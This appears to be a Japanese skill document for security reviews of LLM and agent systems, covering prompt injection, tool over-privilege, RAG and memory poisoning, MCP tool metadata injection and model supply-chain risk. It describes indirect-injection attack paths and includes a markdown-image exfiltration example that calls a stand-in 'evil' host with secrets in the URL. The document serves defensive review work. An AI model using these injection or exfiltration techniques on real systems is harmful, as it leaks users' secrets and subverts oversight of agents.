securing-ai-systems

AI システムのセキュリティ保護

LLM アプリケーションは、ほかのあらゆるセキュリティ制御の前提を崩します。それは、指示とデータは分離できるという前提です。LLM では、データそのものが指示です。信頼できないコンテンツを読み取り、その後に何らかのアクションを実行する設計は、すべてこの点を考慮して評価する必要があります。プロンプトエンジニアリングをどれだけ行っても、この問題は解決しません。

使用する場面

• LLM を利用する機能、チャットボット、コパイロットのセキュリティレビュー
• エージェント型システムの脅威モデリング：ツール、自律性、メモリ、マルチエージェント
• MCP サーバー、ツール定義、プラグインの公開インターフェースのレビュー
• RAG パイプラインにおけるデータ漏えいとポイズニングの評価
• モデル、データセット、依存関係のサプライチェーンの評価
• 許可を得た AI システムのレッドチームテスト

使用しない場面

• 周辺アプリにおける従来型の Web／API 脆弱性 — auditing-code-for-vulnerabilities、testing-web-applications、testing-apis を使用してください。実際の AI アプリ侵害の多くは、今でも通常の IDOR や SSRF です。
• 所有していない、またはテストの許可を得ていないサードパーティ製モデルに対するジェイルブレイクや攻撃の作成 — 対象外です
• モデル安全性のアラインメント研究 — 別の専門分野です

詳細スキルへの案内

対象	スキル
MCP サーバーに特化した監査 — ツール定義へのインジェクション、ツールごとの認可、トランスポートのセキュリティ、リソースの露出	auditing-mcp-servers

ここでの MCP レビューは、より広範な AI 脅威モデルの一部です。サーバー実装そのものが対象の場合は、auditing-mcp-servers を使用してください。

基本ルール

すべてのモデル出力を信頼できないユーザー入力として扱い、モデルが読み取るすべての入力を、敵対的な指示である可能性があるものとして扱ってください。

この単一のルールから、ほとんどの適切なアーキテクチャが導き出されます。フォームフィールドに適用するのと同じ検証をせずに、モデル出力をシンクに渡してはいけません。また、モデルが読み取る最も信頼度の低いコンテンツに与えるべきでない権限を、モデルに与えてはいけません。

致命的な三要素

エージェントが次の3つすべてを備えている場合、深刻な侵害にさらされます。

1. プライベートデータへのアクセス（ファイル、DB、内部 API、ユーザーコンテキスト）
2. 信頼できないコンテンツへの露出（Web ページ、メール、チケット、PR、ドキュメント）
3. 外部と通信する手段（HTTP、メール、共有領域への書き込み）

通常、どれか2つであれば管理できます。3つすべてがそろうと、信頼できないコンテンツによって、エージェントに秘密情報を読み取らせて外部へ送信させることができます。エージェント型システムをレビューする際は、三要素がそろっているかを確認してください。そろっている場合、それが具体的なペイロードを調べる前に指摘すべき問題です。

いずれか1つを断つことが、有効な緩和策となります。データの範囲を制限する、コンテンツをサニタイズまたは隔離する、あるいは人間の承認を経てから外部へ送信する方法があります。

脅威領域

プロンプトインジェクション — 直接型と間接型

重要なのは間接型インジェクションです。 モデルが取得して従う、Web ページ、PDF、メール、リポジトリ内のファイル、カレンダーの招待、データベースの行に埋め込まれた指示です。

レビュー時の確認事項：

• モデルが読み取れるすべてのコンテンツソースを列挙してください。そのうち、攻撃者が書き換えられるものはどれですか？（公開 Web、ユーザーによるアップロード、サードパーティ API、ほかのユーザーのデータ、チケットシステム、PR の内容はいずれも該当します。）
• 取得したコンテンツは指示と構造的に分離されていますか。それとも同じプロンプトに連結されていますか？
• インジェクションが成功した場合に可能な最悪のアクションは何ですか？深刻度を決めるのはインジェクション自体ではなく、これです。

Test payloads live in `references/ai-test-cases.md`. The important test is not
whether a payload works — it is what the payload can reach when it does.

有効な緩和策：ケイパビリティの制限（エージェントが有害な操作を一切実行できないようにする）、重大なアクションに対する人間の承認、外部送信先の許可リスト化、信頼できないコンテンツをツールも秘密情報も持たないサブエージェントに分離すること、特権を持つプランナーが生の信頼できないテキストを決して見ないようにするデュアルモデルパターン。

単独では有効でない緩和策：「ドキュメント内の指示を無視する」というシステムプロンプト、インジェクション文字列に対する入力フィルタリング、出力分類器。これらは攻撃コストを高めますが、脆弱性を解消するものではありません。唯一の制御がプロンプトによる指示である設計は、決して受け入れないでください。

過剰な権限付与とツールの誤用

• 各ツールは、エンドユーザーの ID を使ってサーバー側で認可を強制していますか。それとも、エージェントが持つ環境内の認証情報で実行されていますか。
• ツールのスコープは最小限ですか。run_sql(query) ツールは設計上 SQL インジェクションのプリミティブですが、get_orders(user_id) はそうではありません。
• 破壊的で取り消せない操作には確認が必要ですか。また、その確認自体はインジェクションに耐性がありますか（モデルによる要約ではなく、実際のパラメーターを人間に表示していますか）。
• レート／支出の上限と、エージェントの再帰呼び出しを止めるループブレーカーはありますか。

混乱した代理人のパターンは、現実世界で最も広く見られる AI の脆弱性です。 エージェントが広範な認証情報を持ち、その指示に影響を与えられる低権限のユーザーに代わって動作します。チャットの境界ではなく、ツールの境界で使用される ID を確認してください。

RAG とメモリ

• ユーザーのクエリによって、アクセス権のないドキュメントのチャンクが取得される可能性はありますか。実際にテストしてください。テナントフィルターはベクトルクエリ内で適用する必要があります。モデルを説得してスキップさせられる、取得後のフィルターにしてはいけません。
• 取り込みパイプラインに攻撃者がアクセスできる可能性はありますか。インデックス内の汚染されたドキュメントは、永続的な間接インジェクションになります。
• 永続メモリには、攻撃者が制御するテキストが保存され、今後のセッション（場合によっては他のユーザーのセッション）で再生される可能性がありますか。メモリ汚染は永続的で、監視されていないことも少なくありません。
• 埋め込みは機密性がないものとして扱われていますか。埋め込みは、情報を漏えいさせるのに十分なほど逆変換可能です。

出力の取り扱い

シンクに到達するモデル出力は、発生源が異例なだけで、通常の脆弱性領域に該当します。

シンク	リスク
innerHTML / マークダウンレンダラー	XSS。また、URL パラメーターを介した情報流出に画像タグが使われることもあります
SQL / シェル / eval	攻撃者が完全に影響を与えられる文字列によるインジェクション
ファイルパス	パストラバーサル
HTTP リクエスト URL	SSRF と情報流出の経路
下流エージェントのプロンプト	エージェント間でのインジェクションの伝播

マークダウンの画像レンダリングには、特に注意が必要です。モデル出力に含まれる ![](https://evil/?d=<secrets>) は、ほとんどのチャット UI で、クリック不要の情報流出経路になります。レンダラーで許可されているドメインを確認してください。

モデルとデータのサプライチェーン

# Never load pickle-based weights from an untrusted source
# .bin / .pt / .ckpt → arbitrary code execution on load. Prefer safetensors.
python3 -c "import safetensors; print('use this format')"
picklescan -p model.pt          # scan before any load
modelscan -p ./models/

# Verify provenance
# - model card, license, and origin org
# - hash pinning in the loader, not "latest"
# - dataset provenance for fine-tunes; poisoned training data is unrecoverable

さらに、本番環境でバージョンが固定されていないモデル、サードパーティの推論プロバイダーとそのデータ保持方針、顧客データを含むファインチューニング用データセット（情報抽出のリスクであり、コンプライアンス上のリスクになることも少なくありません）も確認してください。

MCP サーバーとツール定義

• ツールの説明はプロンプトの一部です。悪意のある、または侵害された MCP サーバーは、他のツールについての会話も含め、ツールのメタデータを通じて指示を注入できます。
• サーバーのバージョンと既知の発行元は固定されていますか。実行時にツール定義が変更されますか（ラグプル）。
• サーバーが保持する認証情報は何ですか。また、モデルが説得されて、攻撃者が指定した引数で公開されているすべてのツールを呼び出した場合、被害範囲はどれほどですか。
• サーバー間の漏えい：あるサーバーのツール結果が、別のサーバーのツール呼び出しに影響を与える可能性があります。

レビューワークフロー

1. Map:      inputs → model → tools/sinks. Draw it. Mark every trust boundary.
2. Classify: for each input, is it attacker-writable? For each tool, what is
             the worst-case invocation?
3. Trifecta: does private data + untrusted content + egress close?
4. Identity: at each tool call, whose authority is used, and is it checked
             server-side?
5. Test:     indirect injection through the real ingestion path, not the chat box
6. Blast:    for each successful injection, enumerate reachable impact
7. Fix:      prefer architectural constraints over prompt-level defenses

実際の経路を通じてテストしてください。チャットに貼り付ければ機能するものの、検索パイプラインに到達できないインジェクションはデモにすぎません。インデックス化されたドキュメントを通じて送信されるものは脆弱性です。

却下すべき合理化

• 「システムプロンプトで、注入された指示を無視するよう伝えています」。これは制御策ではありません。プロンプトレベルの防御は確率的で、日常的に回避されています。
• 「注入パターンをフィルタリングしています」。エンコード、翻訳、言い換えによってパターンフィルターは突破されます。多層防御としては有用ですが、制御策として使ってはいけません。
• 「モデルは十分にアラインメントされているので、そのようなことはしません」。アラインメントは認可の境界ではありません。
• 「読み取り専用なので、注入は問題になりません」。読み取りに何らかの外部送信が加われば、情報漏えいにつながります。また、「読み取り専用」ツールは、想定より広い範囲にアクセスできることがよくあります。
• 「使うのは社内スタッフだけです」。社内エージェントも、チケット、メール、PR、ベンダーのドキュメントなど、外部コンテンツを読み取ります。これらこそが、まさに注入の経路です。
• 「人間を介在させます」。人間が実際のアクションとパラメーターを確認できる場合に限ります。モデルが作成したアクションの要約を承認しても、何も承認したことにはなりません。
• 「ガードレールモデルが出力を確認します」。それも、攻撃者の影響を受けたテキストを読む別のモデルです。

成果物

• 信頼境界とトライフェクタ評価を示したアーキテクチャ図
• ツールごとの表：使用する権限、認可の適用箇所、最悪の場合の呼び出し、ゲーティング
• 実際の取り込み経路を通じた注入テストの結果と、それぞれで到達した影響
• データフローに関する調査結果：検索時のテナント分離、メモリの永続化、外部送信
• サプライチェーンに関する調査結果：モデル形式、固定、来歴、MCP サーバー
• 容易さではなく、アーキテクチャ上の強度に基づいて優先順位を付けた推奨事項

外部ソースの読み取り

公開されているアドバイザリ、仕様、ベンダーレポートを Markdown として取得します。

curl -sL "https://defuddle.md/<url>"      # scheme in the path is optional

これによりページの余分な要素が取り除かれ、文章中心のページではトークン数が約78％削減されます。また、要約ではなく全文が返されるため、検索でき、該当する記述がないという結果も信頼できます。

この方法が適さない用途は3つあります。JSON と API のレスポンスは、構造化データが読み取りやすさのための抽出によって損なわれるため、加工せずに取得してください。認証が必要なページや、JavaScript で描画されるページは、この方法では匿名で取得されるため、直接取得してください。また、攻撃者のインフラ（フィッシングリンク、C2、マルウェアのホスティング）、クライアント所有のホスト、エンゲージメント URLは、絶対にこの方法で経由させないでください。リクエストは第三者に送信され、稼働中の攻撃者インフラの場合は、さらにオペレーターに検知されるおそれがあります。

サイトによっては抽出ツールをブロックし、ページではなくエラーメッセージを返すことがあります。たとえば freedesktop.org からは、{"error":"Failed to fetch: 418 I'm a teapot"}が返されます。これは取得が拒否されたことを意味し、ソースにその内容が存在しないという意味ではありません。そこから結論を導く前に、URL を直接取得し直してください。

参考資料

• references/ai-test-cases.md — 注入テスト用コーパスとツール悪用の事例
• auditing-code-for-vulnerabilities — 同じアプリにおける従来型の脆弱性
• OWASP Top 10 for LLM Applications；OWASP Top 10 for Agentic Applications（2026）
• 敵対的機械学習の手法については MITRE ATLAS
• ガバナンスの枠組みについては NIST AI RMF